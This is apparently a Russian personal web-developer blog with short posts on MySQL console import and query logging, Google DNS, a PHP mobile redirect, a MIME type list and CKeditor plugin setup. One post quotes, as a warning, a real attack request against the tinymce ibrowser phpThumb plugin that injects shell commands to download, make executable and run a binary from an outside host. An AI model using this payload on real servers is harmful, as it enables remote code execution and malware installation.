Статьи
Импорт данных с .sql файла
Иногда через обычные средства (phpmyadmin, etc) бывают недоступны или действуют ограничения. Только приходит на помощь консоль.
mysql -h <host_name> <db_name> -u <username> -p < <file_name>.sql
пароль вводится в интерактивном режиме
Логирование sql запросов
Нашел интересный способ логировать все запросы в файл. Бывает очень полезно, при поиске узких мест в приложении
set global log_output = 'FILE'; set global general_log = 'ON'; set global general_log_file = '/var/log/mysql/queries.log';
Argument list too long
Часто приходится сталкиваться с надписью в консоли:
Argument list too long
Данная проблема возникает из за большого кол-ва файлов в папке (больше 1024). Не знаю, с чем это связано, но решение нашлось в гугле)
find . | xargs rm
Выполнять только в папка, где нужно очистить!
Нашел решение тут: http://www.tsybulnik.ru/nix/rm-argument-list-too-long.html
Правильная структура ЧПУ (URL)
Данная статья не притендует на мануал для новичков или единственно правильный путь постоения урлов в Вашем вем приложении. Данная заметка, только мое субъективное мнение о том, как должны выглядеть урлы. Постараюсь, по подробней рассмотреть популярные CMS и их способы постороения ЧПУ.
На заре зарождения интернета, когда еще не думали о красивых урлах и урл вида index.php?id=1 был давольно распространен.
Во время написания это заметки, наткнулся на оф мануал зенда http://framework.zend.com/manual/ru/zend.controller.router.html Продолжение ....
Апп тиц
Сегодня (16.02.12) на нескольких сайтах подрос тыц +10, 20 также на новом сайте allfreelancers.su
всех с аппом!
Google Public DNS
На скорость доступа к сайтам зависит не только хостинг сайтов, а еще DNS сервера провайдера. Так как некоторые днс сервера бывают недоступны, то лучше использовать днс сервера гугла. Для ip4:
8.8.8.8 8.8.4.4
У кого уже есть IPv6
2001:4860:4860::8888 2001:4860:4860::8844
Чтобы использовать днс сервера гугла достаточно их прописать в настройках сетевого интерфейса и радоваться жизни)
Проверка на главную страницу в шаблоне page.tpl.php
Если надо показать что-то только на главной странице, то можно использовать это:
<?php if ($is_front): ?> <p>This will only appear on the front page.</p> <?php endif; ?>
Перенаправление на мобильную версию сайта
Простой, код на php
if(preg_match('/android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iem obile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link )|vodafone|wap|windows (ce|phone)|xda|xiino/i',$_SERVER['HTTP_USER_AGENT'])||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar (ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|b umb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a |jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|d o|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran |owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(4 0|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98 )|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i',substr($_SERVER['HTTP_USER_AGENT'],0,4))){ if($_SERVER['SERVER_NAME'] == 'mail.ru'){ header('Location: http://m.mail.ru'); die(); } }
Основные mimetype файлов
Может быть полезным, но нет под рукой. Список основных расширений файлов:
array("ez" => "application/andrew-inset", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "doc" => "application/msword", "bin" => "application/octet-stream", "dms" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "exe" => "application/octet-stream", "class" => "application/octet-stream", "so" => "application/octet-stream", "dll" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "wmlsc" => "application/vnd.wap.wmlscriptc", "bcpio" => "application/x-bcpio", "vcd" => "application/x-cdlink", "pgn" => "application/x-chess-pgn", "cpio" => "application/x-cpio", "csh" => "application/x-csh", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "spl" => "application/x-futuresplash", "gtar" => "application/x-gtar", "hdf" => "application/x-hdf", "js" => "application/x-javascript", "skp" => "application/x-koan", "skd" => "application/x-koan", "skt" => "application/x-koan", "skm" => "application/x-koan", "latex" => "application/x-latex", "nc" => "application/x-netcdf", "cdf" => "application/x-netcdf", "sh" => "application/x-sh", "shar" => "application/x-shar", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "sv4cpio" => "application/x-sv4cpio", "sv4crc" => "application/x-sv4crc", "tar" => "application/x-tar", "tcl" => "application/x-tcl", "tex" => "application/x-tex", "texinfo" => "application/x-texinfo", "texi" => "application/x-texinfo", "t" => "application/x-troff", "tr" => "application/x-troff", "roff" => "application/x-troff", "man" => "application/x-troff-man", "me" => "application/x-troff-me", "ms" => "application/x-troff-ms", "ustar" => "application/x-ustar", "src" => "application/x-wais-source", "xhtml" => "application/xhtml+xml", "xht" => "application/xhtml+xml", "zip" => "application/zip", "au" => "audio/basic", "snd" => "audio/basic", "mid" => "audio/midi", "midi" => "audio/midi", "kar" => "audio/midi", "mpga" => "audio/mpeg", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "aif" => "audio/x-aiff", "aiff" => "audio/x-aiff", "aifc" => "audio/x-aiff", "m3u" => "audio/x!--?---mpegurl", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "pdb" => "chemical/x-pdb", "xyz" => "chemical/x-xyz", "bmp" => "image/bmp", "gif" => "image/gif", "ief" => "image/ief", "jpeg" => "image/jpeg", "jpg" => "image/jpeg", "jpe" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tif", "djvu" => "image/vnd.djvu", "djv" => "image/vnd.djvu", "wbmp" => "image/vnd.wap.wbmp", "ras" => "image/x-cmu-raster", "pnm" => "image/x-portable-anymap", "pbm" => "image/x-portable-bitmap", "pgm" => "image/x-portable-graymap", "ppm" => "image/x-portable-pixmap", "rgb" => "image/x-rgb", "xbm" => "image/x-xbitmap", "xpm" => "image/x-xpixmap", "xwd" => "image/x-windowdump", "igs" => "model/iges", "iges" => "model/iges", "msh" => "model/mesh", "mesh" => "model/mesh", "silo" => "model/mesh", "wrl" => "model/vrml", "vrml" => "model/vrml", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "asc" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "sgml" => "text/sgml", "sgm" => "text/sgml", "tsv" => "text/tab-seperated-values", "wml" => "text/vnd.wap.wml", "wmls" => "text/vnd.wap.wmlscript", "etx" => "text/x-setext", "xml" => "text/xml", "xsl" => "text/xml", "mpeg" => "video/mpeg", "mpg" => "video/mpeg", "mpe" => "video/mpeg", "qt" => "video/quicktime", "mov" => "video/quicktime", "mxu" => "video/vnd.mpegurl", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "ice" => "x-conference-xcooltalk" );
Уязвимость в tinymce и ibrowser
Недавно, на почту свалился вот такой вот отчет:
/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9
Хорошо, что у меня этого плагина (ibrowser) нет. Так что будьте бдительны.
C наступающим новым годом!
Поздравляю всех с наступающим новым годом! Желаю в новом году, всего наилучшего, счасть, радости и удачи. Всем тица и прА :)))
Сервис проверки загрузки сайта
Одним из главных критериев посещаемости сайта является, его доступность. Скорость загрузки, количество графиги и т.д.Сегодня хочу поделиться ссылкой на сервис, который показывает все этапы загруки сайта. Начиная от html, графиги и т.д. заканчивая яваскриптом. Ссылка http://loads.in/
Сайт для фрилансеров
Доброго времени суток. Я уже давно работаю фрилансером и использую пару сайтов, где нахожу проекты, такие как free-lance.ru и weblancer и т.п., но с недавних пор правила пользования, ответов на проекты, поменялись. И теперь можно отвечать только 3 раза в месяц или покупать платный аккаунт. Покупка акка и его поддержание будет стоить средств, что в конечном счете скажется на бюджете проектов.
В связи с этим я решил, написать свой портал, где мои знакомые могли бы публиковать и искать работу. На сайте будут только необходимые функции. По мере загруженности буду писать необходимый функционал. По всем вопросам можно обращаться через форму обратной связи или на емеил admin@allfreelancers.su
Добро пожаловать на портал фриланса для всех
Встраиваем в CKeditor плагин syntaxhighlight
Решил попробовать этот редактор и сразу же столкнулся с проблемой подсветки кода. В CKeditor его по умолчанию нет, но зато можно встроить syntaxhighlight. Что мы попробуем сделать.
Итак, начнем с того что скачаем это плагин с сайта разработчика. Далее открываем скачанный архив и копируем папочку syntaxhighlight в папку нашего редактора - ckeditor/plugins.
config.extraPlugins = 'syntaxhighlight'; config.toolbar_Full.push(['Code']);
После этого появляется кнопка на панели:
После того как Вы проделали эту операцию, идем в CKeditor и наблюдаем новую иконку (она будет последней) с надписью code. При клике на нее выпадает окошко с выбором языка и дополнительными опциями:
Скачать русификатор можно здесь. Кидаем этот файлик в папку ckeditor/lang и меняем в ckeditor/plugins/syntaxhighlight/plugin.js значение en на ru.
На этом вся установка завершена.
Downgrade PHP 5.3 to PHP 5.2 и Zend Optimizer на FreeBSD
Недавно, понадобилось установить Zend Optimizer на FreeBSD c PHP 5.3 и основная проблема в том, что Zend Optimizer для php 5.2 называется Zend Guard и FreeBSD не поддерживается. Пришлось даунгрейдить PHP c 5.3 до 5.2, что было успешно произведено.